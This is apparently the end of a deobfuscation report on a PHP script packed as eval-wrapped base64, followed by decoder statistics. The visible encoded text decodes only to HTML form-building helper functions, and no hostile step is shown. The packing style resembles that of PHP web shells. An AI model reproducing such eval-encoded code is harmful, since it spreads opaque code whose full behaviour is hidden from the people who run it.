bmFtZVwiIHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiJG5hbWVcIiB2YWx1ZT1cIiR2YWx1ZVwiIC8+Iik7DQoNCn0NCg0KDQoNCmZ1bmN0aW9uIG1ha2VpbnB1dCgkYXJnID0gYXJyYXkoKSl7DQoNCgkkYXJnWydzaXplJ10gPSAkYXJnWydzaXplJ10gPiAwID8gInNpemU9XCIkYXJnW3NpemVdXCIiIDogInNpemU9XCIxMDBcIiI7DQoNCgkkYXJnWydleHRyYSddID0gJGFyZ1snZXh0cmEnXSA/ICRhcmdbJ2V4dHJhJ10gOiAnJzsNCg0KCSEkYXJnWyd0eXBlJ10gJiYgJGFyZ1sndHlwZSddID0gJ3RleHQnOw0KDQoJJGFyZ1sndGl0bGUnXSA9ICRhcmdbJ3RpdGxlJ10gPyAkYXJnWyd0aXRsZSddLic8YnIgLz4nIDogJyc7DQoNCgkkYXJnWydjbGFzcyddID0gJGFyZ1snY2xhc3MnXSA/ICRhcmdbJ2NsYXNzJ10gOiAnaW5wdXQnOw0KDQoJaWYgKCRhcmdbJ25ld2xpbmUnXSkgew0KDQoJCXAoIjxwPiRhcmdbdGl0bGVdPGlucHV0IGNsYXNzPVwiJGFyZ1tjbGFzc11cIiBuYW1lPVwiJGFyZ1tuYW1lXVwiIGlkPVwiJGFyZ1tuYW1lXVwiIHZhbHVlPVwiJGFyZ1t2YWx1ZV1cIiB0eXBlPVwiJGFyZ1t0eXBlXVwiICRhcmdbc2l6ZV0gJGFyZ1tleHRyYV0gLz48L3A+Iik7DQoNCgl9IGVsc2Ugew0KDQoJCXAoIiRhcmdbdGl0bGVdPGlucHV0IGNsYXNzPVwiJGFyZ1tjbGFzc11cIiBuYW1lPVwiJGFyZ1tuYW1lXVwiIGlkPVwiJGFyZ1tuYW1lXVwiIHZhbHVlPVwiJGFyZ1t2YWx1ZV1cIiB0eXBlPVwiJGFyZ1t0eXBlXVwiICRhcmdbc2l6ZV0gJGFyZ1tleHRyYV0gLz4iKTsNCg0KCX0NCg0KfQ0KDQoNCg0KZnVuY3Rpb24gbWFrZXNlbGVjdCgkYXJnID0gYXJyYXkoKSl7DQoNCglpZiAoJGFyZ1snb25jaGFuZ2UnXSkgew0KDQoJCSRvbmNoYW5nZSA9ICdvbmNoYW5nZT0iJy4kYXJnWydvbmNoYW5nZSddLiciJzsNCg0KCX0NCg0KCSRhcmdbJ3RpdGxlJ10gPSAkYXJnWyd0aXRsZSddID8gJGFyZ1sndGl0bGUnXSA6ICcnOw0KDQoJaWYgKCRhcmdbJ25ld2xpbmUnXSkgcCgnPHA+Jyk7DQoNCglwKCIkYXJnW3RpdGxlXSA8c2VsZWN0IGNsYXNzPVwiaW5wdXRcIiBpZD1cIiRhcmdbbmFtZV1cIiBuYW1lPVwiJGFyZ1tuYW1lXVwiICRvbmNoYW5nZT4iKTsNCg0KCQlpZiAoaXNfYXJyYXkoJGFyZ1snb3B0aW9uJ10pKSB7DQoNCgkJCWZvcmVhY2ggKCRhcmdbJ29wdGlvbiddIGFzICRrZXk9PiR2YWx1ZSkgew0KDQoJCQkJaWYgKCRhcmdbJ3NlbGVjdGVkJ109PSRrZXkpIHsNCg0KCQkJCQlwKCI8b3B0aW9uIHZhbHVlPVwiJGtleVwiIHNlbGVjdGVkPiR2YWx1ZTwvb3B0aW9uPiIpOw0KDQoJCQkJfSBlbHNlIHsNCg0KCQkJCQlwKCI8b3B0aW9uIHZhbHVlPVwiJGtleVwiPiR2YWx1ZTwvb3B0aW9uPiIpOw0KDQoJCQkJfQ0KDQoJCQl9DQoNCgkJfQ0KDQoJcCgiPC9zZWxlY3Q+Iik7DQoNCglpZiAoJGFyZ1snbmV3bGluZSddKSBwKCc8L3A+Jyk7DQoNCn0NCg0KZnVuY3Rpb24gZm9ybWhlYWQoJGFyZyA9IGFycmF5KCkpIHsNCg0KCSEkYXJnWydtZXRob2QnXSAmJiAkYXJnWydtZXRob2QnXSA9ICdwb3N0JzsNCg0KCSEkYXJnWydhY3Rpb24nXSAmJiAkYXJnWydhY3Rpb24nXSA9ICRzZWxmOw0KDQoJJGFyZ1sndGFyZ2V0J10gPSAkYXJnWyd0YXJnZXQnXSA/ICJ0YXJnZXQ9XCIkYXJnW3RhcmdldF1cIiIgOiAnJzsNCg0KCSEkYXJnWyduYW1lJ10gJiYgJGFyZ1snbmFtZSddID0gJ2Zvcm0xJzsNCg0KCXAoIjxmb3JtIG5hbWU9XCIkYXJnW25hbWVdXCIgaWQ9XCIkYXJnW25hbWVdXCIgYWN0aW9uPVwiJGFyZ1thY3Rpb25dXCIgbWV0aG9kPVwiJGFyZ1ttZXRob2RdXCIgJGFyZ1t0YXJnZXRdPiIpOw0KDQoJaWYgKCRhcmdbJ3RpdGxlJ10pIHsNCg0KCQlwKCc8aDI+Jy4kYXJnWyd0aXRsZSddLicgJnJhcXVvOzwvaDI+Jyk7DQoNCgl9DQoNCn0NCg0KCQ0KDQpmdW5jdGlvbiBtYWtldGV4dCgkYXJnID0gYXJyYXkoKSl7DQoNCgkhJGFyZ1snY29scyddICYmICRhcmdbJ2NvbHMnXSA9IDEwMDsNCg0KCSEkYXJnWydyb3dzJ10gJiYgJGFyZ1sncm93cyddID0gMjU7DQoNCgkkYXJnWyd0aXRsZSddID0gJGFyZ1sndGl0bGUnXSA/ICRhcmdbJ3RpdGxlJ10uJzxiciAvPicgOiAnJzsNCg0KCXAoIjxwPiRhcmdbdGl0bGVdPHRleHRhcmVhIGNsYXNzPVwiYXJlYVwiIGlkPVwiJGFyZ1tuYW1lXVwiIG5hbWU9XCIkYXJnW25hbWVdXCIgY29scz1cIiRhcmdbY29sc11cIiByb3dzPVwiJGFyZ1tyb3dzXVwiICRhcmdbZXh0cmFdPiRhcmdbdmFsdWVdPC90ZXh0YXJlYT48L3A+Iik7DQoNCn0NCg0KDQoNCmZ1bmN0aW9uIGZvcm1mb290ZXIoJG5hbWUgPSAnJyl7DQoNCgkhJG5hbWUgJiYgJG5hbWUgPSAnc3VibWl0JzsNCg0KCXAoJzxwPjxpbnB1dCBjbGFzcz0iYnQiIG5hbWU9IicuJG5hbWUuJyIgaWQ9XCInLiRuYW1lLidcIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTdWJtaXQiPjwvcD4nKTsNCg0KCXAoJzwvZm9ybT4nKTsNCg0KfQ0KDQoNCg0KZnVuY3Rpb24gZm9ybWZvb3QoKXsNCg0KCXAoJzwvZm9ybT4nKTsNCg0KfQ0KDQoNCg0KLy8gPz8/Pw0KDQpmdW5jdGlvbiBwcigkYSkgew0KDQoJZWNobyAnPHByZT4nOw0KDQoJcHJpbnRfcigkYSk7DQoNCgllY2hvICc8L3ByZT4nOw0KDQp9DQoNCg0KDQo/Pg0KDQo8L3RkPjwvdHI+PC90YWJsZT4NCg0KDQoNCg0KDQo8L3RkPjwvdHI+DQoNCg0KDQo8L3RyPg0KDQo8L3RhYmxlPg=='));
Function Calls
base64_decode | 1 |
Stats
MD5 | c8d226998dfc4717291dced90912395e |
Eval Count | 1 |
Decode Time | 232 ms |